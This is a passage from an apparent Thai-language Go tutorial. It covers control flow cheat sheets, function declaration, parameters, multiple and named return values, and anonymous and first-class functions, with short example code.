   }</code></pre><figcaption>Cheat Sheet!</figcaption></figure><h3 id="exercise-1"><em>Exercise</em></h3><p>&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Code &#xE2A;&#xE31;&#xE49;&#xE19; &#xE46; &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49; if-else &#xE41;&#xE25;&#xE30; for loop</p><p><em><a href="https://forms.gle/Jp9A7xqfLFHoB15v7?ref=blog.pjjop.org">Go Quiz 2</a> (10 &#xE02;&#xE49;&#xE2D;) </em>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Quiz &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><em>Q&amp;A?</em></p><h3 id="%E0%B8%A3%E0%B8%A7%E0%B8%A1-cheat-sheet-%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%95%E0%B8%B1%E0%B8%94%E0%B8%AA%E0%B8%B4%E0%B8%99%E0%B9%83%E0%B8%88%E0%B9%83%E0%B8%99-code"><em>&#xE23;&#xE27;&#xE21; Cheat Sheet &#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE14;&#xE2A;&#xE34;&#xE19;&#xE43;&#xE08;&#xE43;&#xE19; Code</em></h3><pre><code>&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE14;&#xE2A;&#xE34;&#xE19;&#xE43;&#xE08;&#xE43;&#xE19; Go
--------------

1. if-else
   if &#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02; {
       // &#xE17;&#xE33;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07;
   } else {
       // &#xE17;&#xE33;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE17;&#xE47;&#xE08;
   }

   // &#xE2B;&#xE25;&#xE32;&#xE22;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;
   if &#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;1 {
       // &#xE17;&#xE33;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;1 &#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07;
   } else if &#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;2 {
       // &#xE17;&#xE33;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;2 &#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07;
   } else {
       // &#xE17;&#xE33;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE43;&#xE14;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07;
   }

2. for loop
   // &#xE41;&#xE1A;&#xE1A;&#xE21;&#xE32;&#xE15;&#xE23;&#xE10;&#xE32;&#xE19;
   for &#xE04;&#xE48;&#xE32;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;; &#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;; &#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07; {
       // &#xE17;&#xE33;&#xE0B;&#xE49;&#xE33;&#xE46;
   }

   // &#xE41;&#xE1A;&#xE1A; while
   for &#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02; {
       // &#xE17;&#xE33;&#xE0B;&#xE49;&#xE33;&#xE46; &#xE15;&#xE23;&#xE32;&#xE1A;&#xE43;&#xE14;&#xE17;&#xE35;&#xE48;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07;
   }

   // &#xE27;&#xE19;&#xE25;&#xE39;&#xE1B;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE34;&#xE49;&#xE19;&#xE2A;&#xE38;&#xE14;
   for {
       // &#xE17;&#xE33;&#xE0B;&#xE49;&#xE33;&#xE46; &#xE15;&#xE25;&#xE2D;&#xE14;&#xE44;&#xE1B; (&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49; break &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE25;&#xE39;&#xE1B;)
   }

3. switch
   switch &#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; {
   case &#xE04;&#xE48;&#xE32;1:
       // &#xE17;&#xE33;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; &#xE04;&#xE48;&#xE32;1
   case &#xE04;&#xE48;&#xE32;2:
       // &#xE17;&#xE33;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; &#xE04;&#xE48;&#xE32;2
   default:
       // &#xE17;&#xE33;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE43;&#xE14;&#xE40;&#xE25;&#xE22;
   }

4. &#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE1E;&#xE34;&#xE40;&#xE28;&#xE29;
   break    // &#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE25;&#xE39;&#xE1B;&#xE17;&#xE31;&#xE19;&#xE17;&#xE35;
   continue // &#xE02;&#xE49;&#xE32;&#xE21;&#xE44;&#xE1B;&#xE23;&#xE2D;&#xE1A;&#xE16;&#xE31;&#xE14;&#xE44;&#xE1B;&#xE02;&#xE2D;&#xE07;&#xE25;&#xE39;&#xE1B;</code></pre><h2 id="function-%E0%B8%A7%E0%B8%B4%E0%B8%98%E0%B8%B5%E0%B8%97%E0%B8%B3%E0%B8%AA%E0%B8%B4%E0%B9%88%E0%B8%87%E0%B8%95%E0%B9%88%E0%B8%B2%E0%B8%87-%E0%B9%86-%E0%B8%97%E0%B8%B5%E0%B9%88%E0%B9%83%E0%B8%8A%E0%B9%89%E0%B8%8B%E0%B9%89%E0%B8%B3%E0%B9%84%E0%B8%94%E0%B9%89">Function : &#xE27;&#xE34;&#xE18;&#xE35;&#xE17;&#xE33;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE0B;&#xE49;&#xE33;&#xE44;&#xE14;&#xE49;</h2><p>Function &#xE43;&#xE19; Go &#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE2A;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE21;&#xE37;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE36;&#xE49;&#xE19;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; &#xE41;&#xE25;&#xE30;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE0B;&#xE49;&#xE33;&#xE44;&#xE14;&#xE49;&#xE15;&#xE32;&#xE21;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;</p><h3 id="%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%AA%E0%B8%A3%E0%B9%89%E0%B8%B2%E0%B8%87%E0%B9%81%E0%B8%A5%E0%B8%B0%E0%B9%80%E0%B8%A3%E0%B8%B5%E0%B8%A2%E0%B8%81%E0%B9%83%E0%B8%8A%E0%B9%89-function"><em>&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE41;&#xE25;&#xE30;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Function</em></h3><p>Function &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE2A;&#xE39;&#xE15;&#xE23;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23; &#xE17;&#xE35;&#xE48;&#xE1A;&#xE2D;&#xE01;&#xE27;&#xE34;&#xE18;&#xE35;&#xE17;&#xE33;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE1A;&#xE32;&#xE07;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;</p><pre><code>func sayHello() {
    fmt.Println(&quot;&#xE2A;&#xE27;&#xE31;&#xE2A;&#xE14;&#xE35;, Go!&quot;)
}

func main() {
    sayHello()
    sayHello()
}</code></pre><p>Function &#xE43;&#xE19; Go &#xE16;&#xE39;&#xE01;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE27;&#xE48;&#xE32; <strong>func</strong> &#xE15;&#xE32;&#xE21;&#xE14;&#xE49;&#xE27;&#xE22; &#xE0A;&#xE37;&#xE48;&#xE2D; Function</p><figure class="kg-card kg-code-card"><pre><code>&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Function &#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;
   func &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;() {
       // &#xE42;&#xE04;&#xE49;&#xE14;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;
   }</code></pre><figcaption>Cheat Sheet!</figcaption></figure><p>&#xE0A;&#xE37;&#xE48;&#xE2D; Function &#xE02;&#xE36;&#xE49;&#xE19;&#xE15;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE14;&#xE49;&#xE08;&#xE32;&#xE01; Package &#xE2D;&#xE37;&#xE48;&#xE19; &#xE41;&#xE25;&#xE30;&#xE02;&#xE36;&#xE49;&#xE19;&#xE15;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE40;&#xE25;&#xE47;&#xE01; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Package</p><pre><code>// &#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE14;&#xE49;&#xE08;&#xE32;&#xE01; Package &#xE2D;&#xE37;&#xE48;&#xE19;
func ValidateUser(id string) error {}

// &#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE14;&#xE49;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Package
func validateUserEmail(email string) bool {}</code></pre><h3 id="parameter-%E0%B9%81%E0%B8%A5%E0%B8%B0-return-value"><em>Parameter &#xE41;&#xE25;&#xE30; Return Value</em></h3><p>Parameter &#xE04;&#xE37;&#xE2D;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE48;&#xE07;&#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; Fucntion &#xE2A;&#xE48;&#xE27;&#xE19; Return Value &#xE04;&#xE37;&#xE2D;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE17;&#xE35;&#xE48; Function &#xE2A;&#xE48;&#xE07;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32;</p><pre><code>func greet(name string) {
    fmt.Println(&quot;&#xE2A;&#xE27;&#xE31;&#xE2A;&#xE14;&#xE35;,&quot;, name)
}

func add(a, b int) int {
    return a + b
}

func main() {
    greet(&quot;Nuttachot&quot;)
    result := add(5, 3)
    fmt.Println(&quot;5 + 3 =&quot;, result)
}</code></pre><p>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Function &#xE43;&#xE19; Go &#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE04;&#xE25;&#xE49;&#xE32;&#xE22;&#xE04;&#xE25;&#xE36;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE43;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; &#xE41;&#xE15;&#xE48;&#xE01;&#xE47;&#xE21;&#xE35;&#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE30;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Go &#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE41;&#xE15;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE43;&#xE19;&#xE1A;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;</p><p>Go &#xE2A;&#xE19;&#xE31;&#xE1A;&#xE2A;&#xE19;&#xE38;&#xE19;&#xE01;&#xE32;&#xE23;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE04;&#xE48;&#xE32;&#xE08;&#xE32;&#xE01; Function &#xE0B;&#xE36;&#xE48;&#xE07;&#xE15;&#xE48;&#xE32;&#xE07;&#xE08;&#xE32;&#xE01;&#xE20;&#xE32;&#xE29;&#xE32; C &#xE41;&#xE25;&#xE30; C++ &#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE44;&#xE14;&#xE49;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE04;&#xE48;&#xE32;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07; (&#xE40;&#xE27;&#xE49;&#xE19;&#xE41;&#xE15;&#xE48;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; struct)</p><pre><code>func swap(x, y string) (string, string) {
    return y, x
}
</code></pre><p>Go &#xE21;&#xE35; Feature &#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE43;&#xE19; Function &#xE0B;&#xE36;&#xE48;&#xE07;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE43;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; return</p><pre><code>func split(sum int) (x, y int) {
    x = sum * 4 / 9
    y = sum - x
    return
}</code></pre><p>Go &#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE41;&#xE25;&#xE30;&#xE21;&#xE35;&#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE30;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE17;&#xE35;&#xE48;&#xE04;&#xE25;&#xE49;&#xE32;&#xE22;&#xE04;&#xE25;&#xE36;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE2B;&#xE25;&#xE32;&#xE22; &#xE46; &#xE20;&#xE32;&#xE29;&#xE32; &#xE40;&#xE0A;&#xE48;&#xE19; C++, Python, Java &#xE41;&#xE25;&#xE30; JavaScript</p><figure class="kg-card kg-code-card"><pre><code>Function &#xE01;&#xE31;&#xE1A; Parameters
   func &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;(param1 type1, param2 type2) {
       // &#xE43;&#xE0A;&#xE49; param1 &#xE41;&#xE25;&#xE30; param2 &#xE43;&#xE19;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;
   }

Function &#xE01;&#xE31;&#xE1A; Return Value
   func &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;() returnType {
       // &#xE42;&#xE04;&#xE49;&#xE14;
       return &#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07;&#xE01;&#xE25;&#xE31;&#xE1A;
   }

Function &#xE01;&#xE31;&#xE1A;&#xE2B;&#xE25;&#xE32;&#xE22; Return Values
   func &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;() (returnType1, returnType2) {
       // &#xE42;&#xE04;&#xE49;&#xE14;
       return &#xE04;&#xE48;&#xE32;1, &#xE04;&#xE48;&#xE32;2
   }
   
Function &#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
   func &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;() (resultName returnType) {
       // &#xE42;&#xE04;&#xE49;&#xE14;
       return // &#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE43;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; return
   }</code></pre><figcaption>Cheat Sheet!</figcaption></figure><h3 id="first-class-citizen-function"><em>First-Class Citizen Function</em></h3><p>Function &#xE43;&#xE19; Go &#xE08;&#xE30;&#xE21;&#xE35;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE40;&#xE17;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;&#xE2D;&#xE37;&#xE48;&#xE19; &#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE44;&#xE14;&#xE49;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE17;&#xE31;&#xE48;&#xE27;&#xE44;&#xE1B;</p><p>First-Class Citizen Function &#xE43;&#xE19; Go &#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE04;&#xE25;&#xE49;&#xE32;&#xE22;&#xE04;&#xE25;&#xE36;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE20;&#xE32;&#xE29;&#xE32;&#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; &#xE2B;&#xE25;&#xE32;&#xE22;&#xE20;&#xE32;&#xE29;&#xE32; &#xE40;&#xE0A;&#xE48;&#xE19; C++, Python, Java &#xE41;&#xE25;&#xE30; JavaScript &#xE41;&#xE15;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE07;&#xE48;&#xE32;&#xE22; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Go &#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Program &#xE41;&#xE1A;&#xE1A; Functional &#xE43;&#xE19;&#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48;&#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19;&#xE02;&#xE2D;&#xE07; Code</p><p>&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2B;&#xE25;&#xE31;&#xE01; &#xE46; &#xE02;&#xE2D;&#xE07; First-Class Citizen Function &#xE43;&#xE19; Go &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48;</p><p>1. &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Anonymous Function &#xE2B;&#xE23;&#xE37;&#xE2D; Function &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE14;&#xE49;</p><pre><code>func main() {
    // Anonymous function
    func() {
        fmt.Println(&quot;&#xE09;&#xE31;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19; anonymous function&quot;)
    }()
}</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE21;&#xE31;&#xE19;&#xE02;&#xE36;&#xE49;&#xE19;&#xE21;&#xE32;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1A;&#xE32;&#xE07;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE14;&#xE49;&#xE17;&#xE31;&#xE19;&#xE17;&#xE35;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE49;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D; &#xE41;&#xE25;&#xE30;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Function &#xE41;&#xE22;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE2B;&#xE32;&#xE01; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE41;&#xE25;&#xE49;&#xE27;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE2D;&#xE35;&#xE01;</p><p>2. &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Function &#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE44;&#xE14;&#xE49;</p><pre><code>func main() {
    // &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;
    sayHello := func(name string) {
        fmt.Println(&quot;&#xE2A;&#xE27;&#xE31;&#xE2A;&#xE14;&#xE35;,&quot;, name)
    }

    // &#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE20;&#xE32;&#xE22;&#xE2B;&#xE25;&#xE31;&#xE07;
    sayHello(&quot;&#xE2D;&#xE25;&#xE34;&#xE0B;&quot;)
}</code></pre><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Anonymous Function &#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; sayHello &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE33;&#xE44;&#xE1B;&#xE43;&#xE0A;&#xE49;&#xE20;&#xE32;&#xE22;&#xE2B;&#xE25;&#xE31;&#xE07;</p><p>3. &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE48;&#xE07; Function &#xE40;&#xE1B;&#xE47;&#xE19;&#xE1E;&#xE32;&#xE23;&#xE32;&#xE21;&#xE34;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A; Function 